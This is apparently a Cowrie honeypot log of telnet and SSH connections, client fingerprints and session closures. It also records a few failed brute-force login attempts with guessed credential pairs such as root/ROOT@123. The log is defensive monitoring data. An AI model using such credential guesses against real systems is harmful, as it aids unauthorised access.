{"eventid":"cowrie.session.closed","duration":34.38316106796265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:45.664686Z","src_ip":"162.253.42.116","session":"2d8c9be30837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40734,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0ae69c35d9","protocol":"telnet","message":"New connection: 208.82.116.131:40734 (159.203.135.109:23) [session: 6e0ae69c35d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:48.252346Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40828,"dst_ip":"159.203.135.109","dst_port":23,"session":"113213adb950","protocol":"telnet","message":"New connection: 208.82.116.131:40828 (159.203.135.109:23) [session: 113213adb950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:48.590692Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40848,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76754eb29e7","protocol":"telnet","message":"New connection: 208.82.116.131:40848 (159.203.135.109:23) [session: b76754eb29e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:48.632863Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":39854,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bab972f8921","protocol":"telnet","message":"New connection: 174.136.57.21:39854 (10.17.0.5:23) [session: 2bab972f8921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:51.948255Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":40616,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be3b405435d","protocol":"telnet","message":"New connection: 104.248.46.74:40616 (159.203.135.109:23) [session: 5be3b405435d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:56.333376Z"}
{"eventid":"cowrie.session.closed","duration":35.269392013549805,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:59.366903Z","src_ip":"104.248.46.74","session":"ea1bb372d2d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.718989610672,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:25:59.600711Z","src_ip":"104.248.46.74","session":"1e81cc061bb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45012021064758,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:00.089393Z","src_ip":"159.203.13.64","session":"4815da51fa95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":33564,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7a1a97f215","protocol":"telnet","message":"New connection: 162.253.42.116:33564 (10.17.0.5:23) [session: fb7a1a97f215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:01.032915Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":38638,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0ae89d3dac6","protocol":"telnet","message":"New connection: 174.136.57.21:38638 (10.17.0.5:23) [session: e0ae89d3dac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:02.538104Z"}
{"eventid":"cowrie.session.closed","duration":43.690276861190796,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:06.478222Z","src_ip":"208.82.116.131","session":"a3490f9168d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.263100147247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:08.075642Z","src_ip":"174.136.57.21","session":"e3d44eb0292d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35130,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db4075c084c","protocol":"ssh","message":"New connection: 159.203.92.129:35130 (159.203.135.109:22) [session: 4db4075c084c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:09.810460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:09.814962Z","src_ip":"159.203.92.129","session":"4db4075c084c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:09.819762Z","src_ip":"159.203.92.129","session":"4db4075c084c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup","message":"login attempt [amandabackup/amandabackup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:09.834749Z","src_ip":"159.203.92.129","session":"4db4075c084c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:10.842544Z","src_ip":"159.203.92.129","session":"4db4075c084c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.59099054336548,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:15.980381Z","src_ip":"208.82.116.131","session":"2075cf41c039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.40428113937378,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:16.010928Z","src_ip":"208.82.116.131","session":"cdd4c703fa2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51246,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ae56d01a9e5","protocol":"telnet","message":"New connection: 208.82.116.131:51246 (159.203.135.109:23) [session: 8ae56d01a9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:21.315901Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":51380,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fdb4846661b","protocol":"telnet","message":"New connection: 208.82.116.131:51380 (159.203.135.109:23) [session: 7fdb4846661b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:21.868249Z"}
{"eventid":"cowrie.session.closed","duration":35.30110573768616,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:27.249153Z","src_ip":"174.136.57.21","session":"2bab972f8921","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64809012413025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:27.981331Z","src_ip":"104.248.46.74","session":"5be3b405435d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":57222,"dst_ip":"10.17.0.5","dst_port":23,"session":"8257ad27b547","protocol":"telnet","message":"New connection: 159.203.13.64:57222 (10.17.0.5:23) [session: 8257ad27b547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:33.489569Z"}
{"eventid":"cowrie.session.closed","duration":33.24458336830139,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:34.277397Z","src_ip":"162.253.42.116","session":"fb7a1a97f215","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.92589235305786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:34.463861Z","src_ip":"174.136.57.21","session":"e0ae89d3dac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.00183415412903,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:35.634573Z","src_ip":"208.82.116.131","session":"b76754eb29e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.40512776374817,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:36.995710Z","src_ip":"208.82.116.131","session":"113213adb950","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.764240741729736,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:38.016419Z","src_ip":"208.82.116.131","session":"6e0ae69c35d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49848,"dst_ip":"10.17.0.5","dst_port":23,"session":"28d528db7f39","protocol":"telnet","message":"New connection: 162.253.42.116:49848 (10.17.0.5:23) [session: 28d528db7f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:41.404364Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.177.194.28","src_port":34487,"dst_ip":"10.17.0.5","dst_port":23,"session":"0396889724d9","protocol":"telnet","message":"New connection: 181.177.194.28:34487 (10.17.0.5:23) [session: 0396889724d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:50.488689Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60908,"dst_ip":"159.203.135.109","dst_port":22,"session":"144785282bfe","protocol":"ssh","message":"New connection: 159.203.92.129:60908 (159.203.135.109:22) [session: 144785282bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:52.954668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:52.959011Z","src_ip":"159.203.92.129","session":"144785282bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:52.963583Z","src_ip":"159.203.92.129","session":"144785282bfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amandabackup","password":"amandabackup1","message":"login attempt [amandabackup/amandabackup1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:52.975513Z","src_ip":"159.203.92.129","session":"144785282bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:26:53.982301Z","src_ip":"159.203.92.129","session":"144785282bfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.194.242","src_port":59614,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ed6ab550faa","protocol":"ssh","message":"New connection: 45.78.194.242:59614 (10.17.0.5:22) [session: 8ed6ab550faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:00.658011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:00.663427Z","src_ip":"45.78.194.242","session":"8ed6ab550faa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:02.285664Z","src_ip":"45.78.194.242","session":"8ed6ab550faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":33748,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f28cec9824","protocol":"telnet","message":"New connection: 174.136.57.21:33748 (10.17.0.5:23) [session: 37f28cec9824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:03.244499Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT@123","message":"login attempt [root/ROOT@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:07.502976Z","src_ip":"45.78.194.242","session":"8ed6ab550faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.65769910812378,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:08.147137Z","src_ip":"159.203.13.64","session":"8257ad27b547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.442450284957886,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:09.310538Z","src_ip":"208.82.116.131","session":"7fdb4846661b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:09.438473Z","src_ip":"45.78.194.242","session":"8ed6ab550faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.33752942085266,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:12.653309Z","src_ip":"208.82.116.131","session":"8ae56d01a9e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":39280,"dst_ip":"159.203.135.109","dst_port":23,"session":"64eda8501b3b","protocol":"telnet","message":"New connection: 208.82.116.131:39280 (159.203.135.109:23) [session: 64eda8501b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:13.141056Z"}
{"eventid":"cowrie.session.closed","duration":34.9227397441864,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:16.326984Z","src_ip":"162.253.42.116","session":"28d528db7f39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40514,"dst_ip":"159.203.135.109","dst_port":23,"session":"29e2d726e3fd","protocol":"telnet","message":"New connection: 208.82.116.131:40514 (159.203.135.109:23) [session: 29e2d726e3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:17.281011Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8696aa8cbd9","protocol":"telnet","message":"New connection: 208.82.116.131:40524 (159.203.135.109:23) [session: d8696aa8cbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:17.315122Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40564,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec371956fc7","protocol":"telnet","message":"New connection: 208.82.116.131:40564 (159.203.135.109:23) [session: aec371956fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:17.425043Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40566,"dst_ip":"159.203.135.109","dst_port":23,"session":"73378b0c373a","protocol":"telnet","message":"New connection: 208.82.116.131:40566 (159.203.135.109:23) [session: 73378b0c373a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:17.430329Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":40710,"dst_ip":"159.203.135.109","dst_port":23,"session":"78fe10eb1598","protocol":"telnet","message":"New connection: 208.82.116.131:40710 (159.203.135.109:23) [session: 78fe10eb1598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:17.804276Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":56448,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48a25a62bb8","protocol":"telnet","message":"New connection: 104.248.46.74:56448 (159.203.135.109:23) [session: a48a25a62bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:20.535101Z"}
{"eventid":"cowrie.session.closed","duration":30.540504932403564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:21.029074Z","src_ip":"181.177.194.28","session":"0396889724d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.136.57.21","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfbb7826b17a","protocol":"telnet","message":"New connection: 174.136.57.21:49914 (10.17.0.5:23) [session: dfbb7826b17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:21.506734Z"}
{"eventid":"cowrie.session.closed","duration":8.746850728988647,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:26.027765Z","src_ip":"208.82.116.131","session":"29e2d726e3fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":58798,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af780b68bef","protocol":"telnet","message":"New connection: 104.248.46.74:58798 (159.203.135.109:23) [session: 0af780b68bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:33.718104Z"}
{"eventid":"cowrie.session.closed","duration":31.70890974998474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:34.953277Z","src_ip":"174.136.57.21","session":"37f28cec9824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":59734,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f8c4094fc3","protocol":"telnet","message":"New connection: 104.248.46.74:59734 (159.203.135.109:23) [session: 25f8c4094fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:38.088471Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"534a439773d4","protocol":"ssh","message":"New connection: 159.203.92.129:60648 (159.203.135.109:22) [session: 534a439773d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:38.463692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:27:38.468084Z","src_ip":"159.203.92.129","session":"534a439773d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-g